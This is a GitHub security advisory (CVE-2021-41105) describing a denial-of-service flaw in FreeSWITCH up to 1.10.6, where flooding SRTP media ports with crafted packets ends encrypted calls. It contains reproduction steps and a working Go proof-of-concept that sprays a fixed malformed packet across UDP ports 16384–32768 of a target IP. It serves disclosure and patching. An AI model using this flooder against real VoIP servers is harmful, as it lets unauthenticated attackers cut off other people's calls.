Skip to content

FreeSWITCH susceptible to Denial of Service via invalid SRTP packets

High
andywolk published GHSA-jh42-prph-gp36 Oct 25, 2021

Package

FreeSWITCH (C)

Affected versions

<= 1.10.6

Patched versions

1.10.7

Description

Summary

When handling SRTP calls, FreeSWITCH is susceptible to a DoS where calls can be terminated by remote attackers. This attack can be done continuously, thus denying encrypted calls during the attack.

Description

When a media port that is handling SRTP traffic is flooded with a specially crafted SRTP packet, the call is terminated leading to denial of service. This issue was reproduced when using the SDES key exchange mechanism in a SIP environment as well as when using the DTLS key exchange mechanism in a WebRTC environment.

The call disconnection occurs due to line 6331 in the source file switch_rtp.c, which disconnects the call when the total number of SRTP errors reach a hard-coded threshold (100):

if (errs >= MAX_SRTP_ERRS) {
    // ...
    switch_channel_hangup(channel, SWITCH_CAUSE_SRTP_READ_ERROR);
}

Impact

By abusing this vulnerability, an attacker is able to disconnect any ongoing calls that are using SRTP. The attack does not require authentication or any special foothold in the caller's or the callee's network.

How to reproduce the issue

  1. Prepare a FreeSWITCH instance that is publicly available and that can handle SRTP calls (<X-PRE-PROCESS cmd="set" data="rtp_secure_media=true"/>)
  2. Prepare two SIP clients that can handle SRTP communication, such as Zoiper, and register against the FreeSWITCH instance
  3. Prepare an attacker machine which has a different IP than that of the caller, callee or the FreeSWITCH instance
  4. Save the below Go code and compile the application, naming it freeswitch-srtp-dos
  5. Copy freeswitch-srtp-dos to the attacker machine
  6. Perform a call between the agents using SRTP
  7. Run the freeswitch-srtp-dos application against the target FreeSWITCH server: ./freeswitch-srtp-dos -ip <freeswitch_ip>
  8. Observe that when the active media ports are reached, FreeSWITCH will report "SRTP audio unprotect failed with code 21" multiple times, until the call is terminated
package main

import (
	"flag"
	"fmt"
	"net"
)

func main() {
	var minport, maxport, count int
	var ip string

	flag.IntVar(&minport, "min-port", 16384, "port-range minimum value")
	flag.IntVar(&maxport, "max-port", 32768, "port-range maximum value")
	flag.IntVar(&count, "count", 200, "packet count per port")
	flag.StringVar(&ip, "ip", "", "target IPv4 address")
	flag.Parse()

	listener, err := net.ListenPacket("udp", "0.0.0.0:0")
	if err != nil {
		panic(err)
	}

	fmt.Printf("sending %d packets on each port, port range %d-%d\n",
		count, minport, maxport)

	addr := &net.UDPAddr{IP: net.ParseIP(ip)}
	for i := minport; i < maxport+1; i++ {
		fmt.Printf("\rattacking port: %d", i)
		addr.Port = i
		for j := 0; j < count; j++ {
			listener.WriteTo([]byte("\x80\x00p(\t\xcd-\x15\xfd>\\\x86A"), addr)
		}
	}
}

Solution and recommendations

Update to FreeSWITCH version >= 1.10.7

Credit: Enable Security

Enable Security develops offensive security tools and provides quality penetration testing to help protect your real-time communications systems against attack.

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

CVE-2021-41105

Weaknesses

No CWEs

Credits